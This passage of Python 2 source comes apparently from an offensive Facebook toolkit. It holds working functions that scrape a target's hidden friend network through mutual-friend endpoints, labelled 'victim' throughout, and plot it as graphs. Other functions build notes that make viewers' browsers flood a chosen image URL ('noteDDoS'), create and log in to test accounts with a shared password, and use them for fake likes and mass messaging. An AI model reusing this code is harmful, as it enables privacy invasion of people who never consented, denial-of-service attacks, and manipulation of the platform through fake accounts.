except:
1853
print 'Error in the process, brute force will be applied ..'
1854
return -1
1855
1856
def simpleGraph(friends, victim):
1857
coleccion = {}
1858
nodeID = 0
1859
1860
root = 'dumps'
1861
directory = str(victim)
1862
1863
mkdir(directory,root)
1864
1865
myGraph = nx.Graph()
1866
myGraphLabeled = nx.Graph()
1867
1868
coleccion[victim] = nodeID
1869
1870
victima = nodeID
1871
myGraph.add_node(victima)
1872
1873
nodeID += 1
1874
#Check if the file exists, if true append, else create and writes
1875
try:
1876
friendshipFile = open( os.path.join(root,directory,victim+".txt"),"ab")
1877
except:
1878
friendshipFile = open( os.path.join(root,directory,victim+".txt"),"wb")
1879
try:
1880
usersAndID = pickle.load(open(os.path.join('dumps',victim,victim+"UserNamesIDindexed.txt"),"rb"))
1881
except:
1882
print 'Something went wrong while loading the userId and usernames dictionary file! '
1883
1884
try:
1885
myGraphLabeled.add_node(usersAndID[victim])
1886
except:
1887
myGraphLabeled.add_node(victim)
1888
1889
total = len(friends)
1890
i = 0.0
1891
print 'Getting victim\'s friends relashionship .. please wait, this is going to take a while...'
1892
print 'Get a coffee or something'
1893
for friend in friends:
1894
#Percentage calculus
1895
percentage = (i * 100.0)/total
1896
flush()
1897
print '\rIterating on %d of %d - [%.2f%%] completed\r' %(i ,total, percentage),
1898
i+=1
1899
friendshipFile.write(str(friend)+'\n')
1900
1901
try:
1902
mutual = coreFriendshipPrivacy(victim, friend)
1903
except:
1904
continue
1905
1906
coleccion[friend] = nodeID
1907
nodeID += 1
1908
1909
if myGraph.has_node(friend) != True:
1910
myGraph.add_node(friend)
1911
try:
1912
myGraphLabeled.add_node(usersAndID[friend])
1913
except:
1914
myGraphLabeled.add_node(friend)
1915
1916
if myGraph.has_edge(victima, friend) != True:
1917
myGraph.add_edge(victima, friend)
1918
try:
1919
myGraphLabeled.add_edge(usersAndID[victim],usersAndID[friend])
1920
except:
1921
myGraphLabeled.add_edge(victim,friend)
1922
1923
for element in mutual:
1924
if myGraph.has_node(element) != True:
1925
myGraph.add_node(element)
1926
myGraph.add_edge(element, friend)
1927
try:
1928
myGraphLabeled.add_node(usersAndID[element])
1929
myGraphLabeled.add_edge(usersAndID[element],usersAndID[friend])
1930
except:
1931
myGraphLabeled.add_node(element)
1932
myGraphLabeled.add_edge(element,friend)
1933
1934
friendshipFile.close()
1935
1936
mkdir('objects', os.path.join(root,directory))
1937
1938
A = nx.adj_matrix(myGraph)
1939
saveObjects(victim, A, coleccion)
1940
1941
nx.draw_spring(myGraph,node_color = np.linspace(0,1,len(myGraph.nodes())),edge_color = np.linspace(0,1,len(myGraph.edges())) ,with_labels=True)
1942
plt.savefig( os.path.join(root,directory,victim+"graph_color.pdf") )
1943
plt.savefig( os.path.join(root,directory,victim+"graph_color.png") )
1944
write_dot(myGraph,os.path.join(root,directory,victim+"graph_color.dot"))
1945
plt.show()
1946
1947
nx.draw_spring(myGraphLabeled,node_color = np.linspace(0,1,len(myGraphLabeled.nodes())),edge_color = np.linspace(0,1,len(myGraphLabeled.edges())) ,with_labels=True)
1948
plt.savefig( os.path.join(root,directory,victim+"graphLabeled_color.pdf") )
1949
plt.savefig( os.path.join(root,directory,victim+"graphLabeled_color.png") )
1950
write_dot(myGraphLabeled,os.path.join(root,directory,victim+"graphLabeled_color.dot"))
1951
plt.show()
1952
1953
def checkMe(username):
1954
if username == 'me':
1955
driver = webdriver.Firefox()
1956
driver.get("https://www.facebook.com/")
1957
cookies = pickle.load(open("cookies.pkl", "rb"))
1958
for cookie in cookies:
1959
driver.add_cookie(cookie)
1960
driver.get("https://m.facebook.com/me")
1961
name = driver.current_url
1962
name = name.replace("https://m.facebook.com/","")
1963
match = re.search("([a-zA-Z]+\.*[0-9]*)*",name)
1964
if match is not None:
1965
username = match.group()
1966
driver.close()
1967
return username
1968
1969
def friendshipPlot(text,victim):
1970
friends = []
1971
friendsID = []
1972
getFriends(victim)
1973
1974
try:
1975
friendsFile = open(os.path.join('dumps',victim,victim+"UserNames.txt"),"r")
1976
except:
1977
print 'Something went wrong with the output file.. try again or debug :D '
1978
return
1979
while True:
1980
linea = friendsFile.readline()
1981
if not linea:
1982
break
1983
friends.append(linea.strip('\r\n'))
1984
print 'Wait while we get the user id\'s of your victim\'s friends '
1985
getUserIDS(victim)
1986
1987
try:
1988
friendsIdFile = open(os.path.join('dumps',victim,victim+"UserIDS.txt"),"r")
1989
except:
1990
print 'Something went wrong with the output file.. try again or debug :D '
1991
return
1992
1993
while True:
1994
linea = friendsIdFile.readline()
1995
if not linea:
1996
break
1997
friendsID.append(linea.strip('\r\n'))
1998
return friendsID, friends
1999
2000
def coreFriendshipPrivacy(victim,transitive):
2001
friends = []
2002
try:
2003
response = br.open('https://www.facebook.com/friendship/'+str(victim)+'/'+str(transitive))
2004
resultado = response.read()
2005
match = re.search('\/browse\/mutual_friends\/\?uid\=',resultado)
2006
if match is not None:
2007
matchEnd = re.search("\"",resultado[match.end():])
2008
if matchEnd is not None:
2009
link = resultado[match.start():match.end()+matchEnd.start()].replace("&amp;","&")
2010
2011
response = br.open('https://www.facebook.com/'+link)
2012
linea = response.read()
2013
2014
except mechanize.HTTPError as e:
2015
print e.code
2016
#Should handle a custom error
2017
raise
2018
except mechanize.URLError as e:
2019
print e.reason.args
2020
#Should handle a custom error
2021
raise
2022
#Error connection the upper function will catch the exception
2023
except:
2024
raise
2025
2026
#Offset for the string search
2027
start = 0
2028
#While line matches the searched values
2029
while True:
2030
try:
2031
#Search the string to get the position of the starting match
2032
matchAnd = re.search('user\.php\?id=',linea[start:])
2033
#Search the end of the match for taking the id length
2034
matchEnd = re.search('&amp',linea[start+matchAnd.end():])
2035
#If we have a start and an end, we have the id value
2036
if (matchAnd and matchEnd) is not None:
2037
#Appends the value given the proper position (resolved a few lines up)
2038
toUserID = linea[start+matchAnd.end():start+matchEnd.start()+matchAnd.end()]
2039
if toUserID not in friends:
2040
friends.append(toUserID)
2041
#Moves the pointer for next match
2042
start += matchEnd.start()+matchAnd.end()
2043
#If the match ends (Equals of end of the line for the search)
2044
except:
2045
#Search for more friends (Ajax controled)
2046
match = re.search('/ajax/browser/list/mutualfriends/',resultado)
2047
if match is not None:
2048
#Call for the extendend friend search module
2049
extend = seeMore(len(friends),victim,transitive)
2050
#Return the merge of the lists
2051
return list(set(extend + friends))
2052
else:
2053
#In case there are no more friends, returns the original list
2054
return friends
2055
2056
def seeMore(start,victim,transitive):
2057
#vitimId and transitiveId needs to be IDS, instead of usernames. Is like a cast from the username to the Id
2058
#doesn't matter if the given argument is already the id.
2059
victimId = getUserID(victim)
2060
transitiveId = getUserID(transitive)
2061
#Disclosed friends container
2062
extendedFriends = []
2063
2064
if (victimId == -1) or (transitiveId == -1):
2065
return extendedFriends
2066
2067
2068
#While there friends to disclosed in the particular union set
2069
while True:
2070
2071
try:
2072
response = br.open('https://www.facebook.com/ajax/browser/list/mutualfriends/?uid='+str(transitiveId)+'&view=grid&location=other&infinitescroll=0&short=1&node='+str(victimId)+'&start='+str(start)+'&__user='+str(getC_user())+'&__a=1&__dyn=7n8ahyj35zolgDxqihXzA&__req=6')
2073
except mechanize.HTTPError as e:
2074
print e.code
2075
except mechanize.URLError as e:
2076
print e.reason.args
2077
except:
2078
raise
2079
2080
#Strips the web response for further processes
2081
to_parse = str(response.read()).strip('for (;;);')
2082
2083
try:
2084
#Converts the json web response to a python like object
2085
json_dump = json.loads(to_parse)
2086
except:
2087
print 'Error on json loading'
2088
#For non-blocking excecution - The upper function is excpecting a list to be returned
2089
return extendedFriends
2090
2091
#Offset represents the start offset for non-repetition purpose
2092
offset = 0
2093
2094
#Controls the end of the module excecution
2095
NoneFlag = True
2096
2097
#Search for friends to be added
2098
for element in range(len(json_dump['jsmods']['require'])):
2099
if json_dump['jsmods']['require'][element][0] == unicode('AddFriendButton'):
2100
NoneFlag = False
2101
offset += 1
2102
extendedFriends.append(json_dump['jsmods']['require'][element][3][1])
2103
2104
#If no friend was added, the excecution ends
2105
if NoneFlag:
2106
break
2107
2108
#Increments offset from the start in the search
2109
start += offset
2110
2111
#End of the while, returns the new list
2112
return extendedFriends
2113
2114
2115
def getUserID(user):
2116
#Grabs the user Id using the OpenGraph
2117
try:
2118
response = br.open('https://www.facebook.com/'+str(user))
2119
data = response.read()
2120
#json_dump = json.loads(resultado)
2121
#try:
2122
# return json_dump['id']
2123
#except:
2124
# return -1
2125
2126
except mechanize.HTTPError as e:
2127
print e.code
2128
return -1
2129
except mechanize.URLError as e:
2130
print e.reason.args
2131
return -1
2132
try:
2133
match = re.search("fb://profile/",data)
2134
if match is not None:
2135
start = match.end()
2136
matchBis = re.search('"',data[start:])
2137
if matchBis is not None:
2138
return data[start:start+matchBis.start()]
2139
except:
2140
return user
2141
2142
def logs(messagelog):
2143
2144
logging.basicConfig(filename=os.path.join("logs","error.log"), level=logging.NOTSET, format='')
2145
cTime = ctime(time())
2146
log = str(cTime) + ' : ' + str(messagelog)
2147
logging.debug(log)
2148
2149
2150
def dotFile(victim, transitive):
2151
2152
root = 'dumps'
2153
directory = str(victim)
2154
2155
mkdir(directory,root)
2156
2157
myGraph = open( os.path.join(root,directory,victim+"_dot.dot") ,"wb")
2158
myGraph.write('Graph {\n')
2159
2160
#Percentage container
2161
percentage = 0.0
2162
#Disclosude friends container
2163
friendships = []
2164
#Already visited nodes container
2165
visited = []
2166
try:
2167
#If the file already exists
2168
friendshipFile = open( os.path.join(root,directory,victim+".txt") ,"rb")
2169
#Reads every line of the file
2170
while True:
2171
linea = friendshipFile.readline()
2172
if not linea:
2173
break
2174
#Store in the visited array for non repetition
2175
visited.append(linea.strip("\n\r"))
2176
friendshipFile.close()
2177
2178
except:
2179
#If the file does not exists, creates the file
2180
friendshipFile = open( os.path.join(root,directory,victim+".txt") ,"wb")
2181
friendshipFile.close()
2182
2183
2184
try:
2185
#Generates the first level of the search
2186
result = coreFriendshipPrivacy(victim,transitive)
2187
except:
2188
print 'Check the internet connection please..'
2189
return
2190
2191
#Stores non repetitive values in the disclosed friends container
2192
transitivo = getName(transitive)
2193
for individuos in result:
2194
if individuos not in visited:
2195
chabon = getName(individuos)
2196
myGraph.write(' "'+transitivo + '" -> "' + chabon + '";\n')
2197
friendships.append(individuos)
2198
visited.append(getUserID(transitive))
2199
#Counter for percentage calculus purpose
2200
i = 0.0
2201
#flush
2202
print '\r \r',
2203
#For every value in the first disclosed list, repeats until every value has been tried
2204
for friends in friendships:
2205
#Percentage calculus
2206
percentage = (i * 100.0)/len(friendships)
2207
flush()
2208
print '\rIterating on %d of %d - [%.2f%%] completed\r' %(i ,len(friendships), percentage),
2209
i+=1
2210
#Only if the node wasn't visited
2211
if friends not in visited:
2212
#if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state will still be True.
2213
#Only if the try passes, the infinite while will end. (For internet error connection problem)
2214
state = True
2215
while state == True:
2216
try:
2217
result = coreFriendshipPrivacy(victim,friends)
2218
state = False
2219
except signalCaught as e:
2220
state = False
2221
print 'Signal Caught handler'
2222
print '%s ' %e.args[0]
2223
return
2224
except:
2225
logs('Check the internet connection please.. Press enter when it\'s done')
2226
print '\r \r',
2227
a = raw_input('\rCheck the internet connection please.. Press enter when it\'s done\r')
2228
if a == 1:
2229
state = False
2230
else:
2231
if a == 2:
2232
email,password = setMail()
2233
login(email,password,'real')
2234
2235
#Stores non repetitive values in the disclosed friends container
2236
friendName = getName(friends)
2237
for element in result:
2238
if element not in friendships:
2239
transitive = getName(element)
2240
myGraph.write(' "'+friendName + '" -> "' + transitive + '";\n')
2241
friendships.append(element)
2242
2243
#Stores every single value of friendships list already analysed for non repetitiveness
2244
visited.append(friends)
2245
2246
#Check if the file exists, if true append, else create and writes
2247
try:
2248
friendshipFile = open( os.path.join(root,directory,victim+".txt") ,"ab")
2249
except:
2250
friendshipFile = open( os.path.join(root,directory,victim+".txt") ,"wb")
2251
2252
#Stores every userID for further analysis
2253
for friends in friendships:
2254
transitivo = getName(friends)
2255
myGraph.write(' "'+victim + '" -> "' + transitivo + '";\n')
2256
friendshipFile.write(str(friends)+'\n')
2257
2258
myGraph.write('}')
2259
friendshipFile.close()
2260
myGraph.close()
2261
2262
def simpleDotGraph(friends, victim):
2263
root = 'dumps'
2264
directory = str(victim)
2265
2266
mkdir(directory,root)
2267
2268
myGraph = open( os.path.join(root,directory,victim+"_dot.dot"),"wb")
2269
myGraph.write('Graph {\n')
2270
2271
2272
friendshipFile = open( os.path.join(root,directory,victim+".txt"),"wb")
2273
for friend in friends:
2274
friendshipFile.write(str(friend)+'\n')
2275
friendshipFile.close()
2276
2277
2278
for friend in friends:
2279
try:
2280
mutual = coreFriendshipPrivacy(victim, friend)
2281
except:
2282
continue
2283
2284
2285
transitive = getName(friend)
2286
2287
myGraph.write(' "'+victim + '" -> "' + transitive + '";\n')
2288
2289
for element in mutual:
2290
2291
mutualFriend = getName(element)
2292
2293
myGraph.write(' "'+transitive + '" -> "' + mutualFriend + '";\n')
2294
2295
myGraph.write('}')
2296
myGraph.close()
2297
2298
def noteDDoS(imageURL,noteID, privacy):
2299
2300
fb_dtsg = set_dtsg()
2301
if (fb_dtsg == 0):
2302
print 'ERROR MOTHER FUCKER -_-'
2303
2304
j = int(raw_input('starting parameter number? (img.jpg?file=number) : '))
2305
amount = int(raw_input('last parameter number? (img.jpg?file=number) : '))
2306
title = raw_input('Note title: ')
2307
content = '<p>' + raw_input('Note preview text: ') + '</p>'
2308
for i in range(j,int(amount)):
2309
content += '<p><img src="'+imageURL+'?file='+str(i)+'"></img></p>'
2310
2311
arguments = {
2312
'fb_dtsg' : fb_dtsg,
2313
'object_id' : noteID,
2314
'note_id' : noteID,
2315
'id' : getC_user(),
2316
'title' : title,
2317
'note_content' : content,
2318
'audience['+noteID+'][value]' : privacy,
2319
'publish' : 'Publish',
2320
'__user' : getC_user(),
2321
'__a' : '1',
2322
'__dyn' : '7n8ahyj34fzpQ9UoHaEWy1m9ACwKyaF3pqzCAjFDxCm6qyE',
2323
'__req' : '7',
2324
'ttstamp' : '2658169897154120115496511690',
2325
'__rev' : '1224624'
2326
}
2327
2328
datos = urlencode(arguments)
2329
try:
2330
response = br.open('https://www.facebook.com/ajax/notes/edit',datos)
2331
except mechanize.HTTPError as e:
2332
logs(e.code)
2333
print e.code
2334
except mechanize.URLError as e:
2335
logs(e.reason.args)
2336
print e.reason.args
2337
except:
2338
logs('Error in the DDoS module')
2339
print '\rError in the DDoS module\r'
2340
raise
2341
2342
def devTest(appID):
2343
try:
2344
fb_dtsg = set_dtsg()
2345
if (fb_dtsg == 0):
2346
print 'ERROR MOTHER FUCKER -_-'
2347
2348
br.open('https://developers.facebook.com/').read()
2349
arguments = {
2350
'fb_dtsg' : fb_dtsg,
2351
'count' : '4',
2352
'app_id' : str(appID),
2353
'install_app' : '1',
2354
'platform_version' : 'v2.0',
2355
'enable_ticker' : '1',
2356
'language' : 'en_US',
2357
'__user' : getC_user(),
2358
'__a' : '1',
2359
'__dyn' : '7w86i1PyUnxqnFwn8',
2360
'__req' : '3',
2361
'ttstamp' : '2658172110116109767311810511273',
2362
'__rev' : '1262242'
2363
}
2364
2365
datos = urlencode(arguments)
2366
2367
response = br.open('https://developers.facebook.com/apps/async/test-users/create/',datos)
2368
except mechanize.HTTPError as e:
2369
logs(e.code)
2370
print e.code
2371
except mechanize.URLError as e:
2372
logs(e.reason.args)
2373
print e.reason.args
2374
except:
2375
logs('Error in devTest module')
2376
print '\rError in devTest module\r'
2377
raise
2378
'''
2379
def getTest(appID):
2380
try:
2381
response = br.open('https://developers.facebook.com/apps/'+appID+'/roles/test-users/')
2382
2383
linea = response.read()
2384
lines = []
2385
2386
match = re.search('test_users'+'(.+)',linea)
2387
if match is not None:
2388
encontrada = match.group()
2389
2390
start = 0
2391
while True:
2392
matchstart = re.search('test_user_ids',encontrada[start:])
2393
if matchstart is not None:
2394
matchend = re.search('\.net',encontrada[start+matchstart.end():])
2395
if (matchstart is not None) and (matchend is not None):
2396
final = encontrada[start+matchstart.start() : matchend.end()+start+matchstart.end()]
2397
lines.append(final)
2398
start = start+matchstart.start()+matchend.end()
2399
else:
2400
break
2401
2402
email = []
2403
name = []
2404
userid = []
2405
for linea in lines:
2406
matchstart =re.search('value="',linea)
2407
matchend = re.search('"',linea[matchstart.end():])
2408
userid.append(linea[matchstart.end():matchstart.end()+matchend.start()])
2409
for linea in lines:
2410
start=0
2411
while True:
2412
matchstart = re.search("\"_50f4\">",linea[start:])
2413
if matchstart is not None:
2414
matchend = re.search('</span>',linea[start+matchstart.end():])
2415
if (matchstart is not None) and (matchend is not None):
2416
final = linea[start+matchstart.end() : matchend.start()+start+matchstart.end()]
2417
name.append(final)
2418
start = start+matchstart.start()+matchend.end()
2419
matchstart = re.search("_5jxf\"><span class=\"_50f4\">",linea[start:])
2420
if matchstart is not None:
2421
email.append(linea[matchstart.end()+start:].replace('&#064;','@'))
2422
break
2423
else:
2424
print 'error'
2425
else:
2426
break
2427
2428
for elements in email:
2429
print elements
2430
for elements in name:
2431
print elements
2432
for elements in userid:
2433
print elements
2434
2435
except mechanize.HTTPError as e:
2436
logs(e.code)
2437
print e.code
2438
except mechanize.URLError as e:
2439
logs(e.reason.args)
2440
print e.reason.args
2441
except:
2442
logs('Error in getTest module')
2443
print '\rError in getTest module\r'
2444
raise
2445
'''
2446
def getTest(appID):
2447
try:
2448
start = 0
2449
flag = 0
2450
while flag != -1:
2451
2452
fb_dtsg = set_dtsg()
2453
if (fb_dtsg == 0):
2454
print 'ERROR MOTHER FUCKER -_-'
2455
2456
arguments = {
2457
'start' : str(start),
2458
'__user' : getC_user(),
2459
'__a' : '1',
2460
'__dyn' : '7w86i1PyUnxqnFwn8',
2461
'__req' : '4',
2462
'fb_dtsg' : fb_dtsg,
2463
'ttstamp' : '26581707111311350113871144898',
2464
'__rev' : '1262242'
2465
}
2466
datos = urlencode(arguments)
2467
try:
2468
response = br.open('https://developers.facebook.com/apps/'+appID+'/roles/test-users/paging/',datos)
2469
aParsear = response.read().strip("for (;;);")
2470
json_dump = json.loads(aParsear)
2471
flag = MyParser.parceros(json_dump)
2472
start+=20
2473
except:
2474
break
2475
except:
2476
print 'general error'
2477
2478
def changePassword(appID):
2479
people = database.getUsers()
2480
peopleLogged = database.getUsersNotLogged()
2481
for persona in people:
2482
if persona in peopleLogged:
2483
try:
2484
fb_dtsg = set_dtsg()
2485
if (fb_dtsg == 0):
2486
print 'ERROR MOTHER FUCKER -_-'
2487
2488
arguments = {
2489
'fb_dtsg' : fb_dtsg,
2490
'name' : str(persona[1]),
2491
'password' : '1234567890',
2492
'confirm_password' : '1234567890',
2493
'__user' : getC_user(),
2494
'__a' : '1',
2495
'__dyn' : '7w86i1PyUnxqnFwn8',
2496
'__req' : 'a',
2497
'ttstamp' : '26581698582558910610211811276',
2498
'__rev' : '1262776'
2499
}
2500
datos = urlencode(arguments)
2501
try:
2502
response = br.open('https://developers.facebook.com/apps/async/test-users/edit/?app_id='+appID+'&test_user_id='+str(persona[0]),datos)
2503
except:
2504
print 'error'
2505
except:
2506
print 'Error General'
2507
2508
2509
2510
def likeDev(postId):
2511
2512
signal.signal(signal.SIGINT, signal_handler)
2513
try:
2514
#Cookie of the real account
2515
masterCookie = cj._cookies
2516
massLoginTest()
2517
2518
if len(cookieArray) == 0:
2519
print 'First you must create accounts: option 1) '
2520
2521
quantity = raw_input('Insert the amount of likes: ')
2522
2523
while int(quantity) <= 0 or int(quantity) >= len(cookieArray):
2524
print 'Wrong quantity. First you must create enough accounts for that amount of likes .. (option 1) ..'
2525
quantity = raw_input('Insert the amount of likes: ')
2526
2527
2528
#Percentage container
2529
percentage = 0.0
2530
j = 0.0
2531
total = int(quantity) * len(postId)
2532
#flush
2533
print '\r \r',
2534
2535
for i in range(int(quantity)):
2536
for post in range(len(postId)):
2537
cj._cookies = cookieArray[i]
2538
c_user = getC_user()
2539
try:
2540
fb_dtsg = set_dtsg()
2541
if (fb_dtsg == 0):
2542
print 'ERROR MOTHER FUCKER -_-'
2543
2544
arguments = {
2545
'like_action' : 'true',
2546
'ft_ent_identifier' : str(postId[post]),
2547
'source' : '0',
2548
'client_id' : str(c_user)+'%3A4047576437',
2549
'rootid' : 'u_0_2o',
2550
'giftoccasion' : '',
2551
'ft[tn]' : '%3E%3D',
2552
'ft[type]' : '20',
2553
'nctr[_mod]' : 'pagelet_timeline_recent',
2554
'__user' : c_user,
2555
'__a' : '1',
2556
'__dyn' : '7n8ahyj35ym3KiA',
2557
'__req' : 'c',
2558
'fb_dtsg' : fb_dtsg,
2559
'phstamp' : '165816595797611370260',
2560
}
2561
2562
2563
datos = urlencode(arguments)
2564
response = br.open('https://www.facebook.com/ajax/ufi/like.php',datos)
2565
2566
if globalLogging:
2567
logs(response.read())
2568
2569
percentage = (j * 100.0)/total
2570
flush()
2571
print '\r[%.2f%%] of likes completed\r' %(percentage),
2572
j+=1
2573
2574
except mechanize.HTTPError as e:
2575
print e.code
2576
2577
except mechanize.URLError as e:
2578
print e.reason.args
2579
except:
2580
print 'Unknown error'
2581
2582
cj._cookies = masterCookie
2583
raw_input('Finished like() module, press enter to continue')
2584
except signalCaught as e:
2585
deleteUser()
2586
message = '%s catch from create module' %e.args[0]
2587
logs(str(message))
2588
print '%s \n' %message
2589
raw_input('Press enter to continue')
2590
return
2591
2592
def massMessage(page,message):
2593
import random
2594
2595
massLoginTest()
2596
2597
if len(cookieArray) == 0:
2598
print 'First you must create accounts: option 1) '
2599
return
2600
2601
pageID = getUserID(page)
2602
2603
for i in range(len(cookieArray)):
2604
try:
2605
cj._cookies = cookieArray[i]
2606
c_user = getC_user()
2607
print str(c_user)+'\n'
2608
2609
numero = ''
2610
numero2 = ''
2611
for i in range(10):
2612
numero += str(random.randrange(0,10))
2613
for i in range(10):
2614
numero2 += str(random.randrange(0,10))
2615
2616
fb_dtsg = set_dtsg()
2617
if (fb_dtsg == 0):
2618
print 'ERROR MOTHER FUCKER -_-'
2619
arguments = {
2620
'message_batch[0][action_type]' : 'ma-type:user-generated-message',
2621
'message_batch[0][author]' : 'fbid:'+c_user,
2622
'message_batch[0][timestamp]' : '1401416840784',
2623
'message_batch[0][timestamp_absolute]' : 'Today',
2624
'message_batch[0][timestamp_relative]' : '11:27pm',
2625
'message_batch[0][timestamp_time_passed]' : '0',
2626
'message_batch[0][is_unread]' : 'false',
2627
'message_batch[0][is_cleared]' : 'false',
2628
'message_batch[0][is_forward]' : 'false',
2629
'message_batch[0][is_filtered_content]' : 'false',
2630
'message_batch[0][is_spoof_warning]' : 'false',
2631
'message_batch[0][source]' : 'source:titan:web',
2632
'message_batch[0][body]' : message,
2633
'message_batch[0][has_attachment]' : 'false',
2634
'message_batch[0][html_body]' : 'false',
2635
'message_batch[0][specific_to_list][0]' : 'fbid:'+pageID,
2636
'message_batch[0][specific_to_list][1]' : 'fbid:'+c_user,
2637
'message_batch[0][force_sms]' : 'true',
2638
'message_batch[0][ui_push_phase]' : 'V3',
2639
'message_batch[0][status]' : '0',
2640
'message_batch[0][message_id]' : '<1401416840784:'+numero+'-'+numero2+'@mail.projektitan.com>',
2641
'''<1401416840784:[email protected]>','''
2642
'message_batch[0][client_thread_id]' : 'user:'+pageID,
2643
'client' : 'mercury',
2644
'__user' : c_user,
2645
'__a' : '1',
2646
'__dyn' : '7n8ajEAMCBynUKt2u6aOGeExEW9ACxO4pbGA8AGGBy6C-Cu6popDFp4qu',
2647
'__req' : 'q',
2648
'fb_dtsg' : fb_dtsg,
2649
'ttstamp' : '26581697273111715585898748',
2650
'__rev' : '1268876'
2651
}
2652
2653
datos = urlencode(arguments)
2654
response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)
2655
2656
if globalLogging:
2657
logs(response.read())
2658
2659
except mechanize.HTTPError as e:
2660
print e.code
2661
except mechanize.URLError as e:
2662
print e.reason.args
2663
2664
except:
2665
logs('Error en el modulo de massMessage()')
2666
print 'Error en el modulo de massMessage()\n'
2667
2668
2669
def logTestUser(testUser):
2670
try:
2671
fb_dtsg = set_dtsg()
2672
if (fb_dtsg == 0):
2673
print 'ERROR MOTHER FUCKER -_-'
2674
2675
c_user = getC_user()
2676
arguments = {
2677
'user_id' : testUser,
2678
'__user' : c_user,
2679
'__a' : '1',
2680
'__dyn' : '7w86i3S2e4oK4pomXWo4CE-',
2681
'__req' : '2',
2682
'ttstamp' : '2658172826512290796710073107',
2683
'__rev' : '1270592',
2684
'fb_dtsg' : fb_dtsg,
2685
}
2686
datos = urlencode(arguments)
2687
response = br.open('https://developers.facebook.com/checkpoint/async/test-user-login/dialog/',datos)
2688
2689
dump = json.loads(response.read().strip("for (;;);"))
2690
line = dump['jsmods']['markup'][0][1]['__html']
2691
match= re.search('\"n\"',line)
2692
if match != None:
2693
matchBis = re.search('value=\"',line[match.end():])
2694
matchBisBis = re.search('"',line[match.end()+matchBis.end():])
2695
code = line[match.end()+matchBis.end():match.end()+matchBis.end()+matchBisBis.start()]
2696
2697
fb_dtsg = set_dtsg()
2698
if (fb_dtsg == 0):
2699
print 'ERROR MOTHER FUCKER -_-'
2700
2701
arguments['fb_dtsg'] = fb_dtsg
2702
arguments['n'] = str(code)
2703
2704
datos = urlencode(arguments)
2705
response = br.open('https://developers.facebook.com/checkpoint/async/test-user-login/',datos)
2706
2707
if globalLogging:
2708
logs(response.read())
2709
2710
except mechanize.HTTPError as e:
2711
print e.code
2712
except mechanize.URLError as e:
2713
print e.reason.args
2714
2715
def massLoginTest():
2716
import copy
2717
i = int(0)
2718
people = database.getUsersNotLogged()
2719
#Flush
2720
print '\r \r',
2721
2722
masterCj = copy.deepcopy(cj._cookies)
2723
loadPersistentCookie()
2724
2725
for person in people:
2726
#login
2727
try:
2728
cj._cookies = copy.deepcopy(masterCj)
2729
if person[4] == 0:
2730
logTestUser(str(person[0]))
2731
cookieArray.append(cj._cookies)
2732
print cj._cookies #DEBUG
2733
cj.clear()
2734
2735
#percentage
2736
i+=1
2737
percentage = (i * 100.0) / len(people)
2738
flush()
2739
print '\rCompleted [%.2f%%]\r'%percentage,
2740
except:
2741
print 'Error with user %s' %person[0]
2742
continue
2743
2744
cj.clear()
2745
savePersistentCookie()
2746
2747
def plotDOT(victim):
2748
root = 'dumps'
2749
directory = victim
2750
mkdir(directory,root)
2751
2752
graph = open(root+"\\"+directory+"\\"+victim+"_graph.dot","wb")
2753
2754
graph.write("Graph {\n")
2755
2756
victim = victim.replace(".","_")
2757
nodes = database.getNodes(victim)
2758
for node in nodes:
2759
2760
graph.write(" "+victim.replace("_",".")+" -> "+node[0]+";\n")
2761
2762
edges = database.getEdges(victim,node[0],node[1])
2763
try:
2764
edgeList = edges[0][2].split(';')
2765
writed = []
2766
for individual in edgeList:
2767
if individual != "" and individual not in writed:
2768
graph.write(" "+node[0]+" -> "+str(individual)+";\n")
2769
writed.append(individual)
2770
except:
2771
print 'No edges for %s' %node[0]
2772
2773
graph.write("}")
2774
graph.close()
2775
2776
def dotFileDatabase(victim, transitive):
2777
2778
#Percentage container
2779
percentage = 0.0
2780
#Disclosude friends container
2781
friendships = []
2782
#Already visited nodes container
2783
visited = []
2784
2785
try:
2786
#Generates the first level of the search
2787
result = coreFriendshipPrivacy(victim,transitive)
2788
except:
2789
print 'Check the internet connection please..'
2790
return
2791
2792
#Stores non repetitive values in the disclosed friends container
2793
transitivo = getName(transitive)
2794
transitivoID = getUserID(transitive)
2795
2796
if transitivoID == -1:
2797
transitivoID = transitivo
2798
2799
database.addNode(victim,transitivo, transitivoID)
2800
2801
for individuos in result:
2802
friendName = getName(individuos)
2803
friendId = getUserID(individuos)
2804
2805
if friendId == -1:
2806
friendId = friendName
2807
2808
database.addNode(victim,friendName, friendId)
2809
database.addEdge(victim,transitivo, transitivoID, friendName, friendId)
2810
friendships.append(individuos)
2811
2812
2813
#Counter for percentage calculus purpose
2814
i = 0.0
2815
#flush
2816
print '\r \r',
2817
#For every value in the first disclosed list, repeats until every value has been tryed
2818
for friends in friendships:
2819
#Percentage calculus
2820
percentage = (i * 100.0)/len(friendships)
2821
flush()
2822
print '\rIterating on %d of %d - [%.2f%%] completed\r' %(i ,len(friendships), percentage),
2823
i+=1
2824
#Only if the node wasn't visited
2825
if friends not in visited:
2826
#if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True.
2827
#Only if the try passes, the infinite while will end. (For internet error connection problem)
2828
state = True
2829
while state == True:
2830
try:
2831
result = coreFriendshipPrivacy(victim,friends)
2832
state = False
2833
except signalCaught as e:
2834
state = False
2835
print 'Signal Caught handler'
2836
print '%s ' %e.args[0]
2837
return
2838
except:
2839
logs('Check the internet connection please.. Press enter when it\'s done')
2840
print '\r \r',
2841
a = raw_input('\rCheck the internet connection please.. Press enter when it\'s done\r')
2842
if a == 1:
2843
state = False
2844
else:
2845
if a == 2:
2846
email,password = setMail()
2847
login(email,password,'real')
2848
2849
#Stores non repetitive values in the disclosed friends container
2850
friendName = getName(friends)
2851
friendId = getUserID(friends)
2852
2853
if friendId == -1:
2854
friendId = friendName
2855
2856
database.addNode(victim,friendName, friendId)
2857
2858
for element in result:
2859
if element not in friendships:
2860
2861
friendTran = getName(element)
2862
friendTranId = getUserID(element)
2863
2864
if friendId == -1:
2865
friendId = friendName
2866
2867
database.addNode(victim,friendTran, friendTranId)
2868
database.addEdge(victim,friendName, friendId, friendTran, friendTranId)
2869
friendships.append(element)
2870
#Stores every single value of friendships list alredy analyzed for non repetitivness
2871
visited.append(friends)
2872
2873
def simpleDotGraphDatabase(friends, victim):
2874
2875
2876
for friend in friends:
2877
2878
try:
2879
mutual = coreFriendshipPrivacy(victim, friend)
2880
except:
2881
continue
2882
2883
2884
transitive = getName(friend)
2885
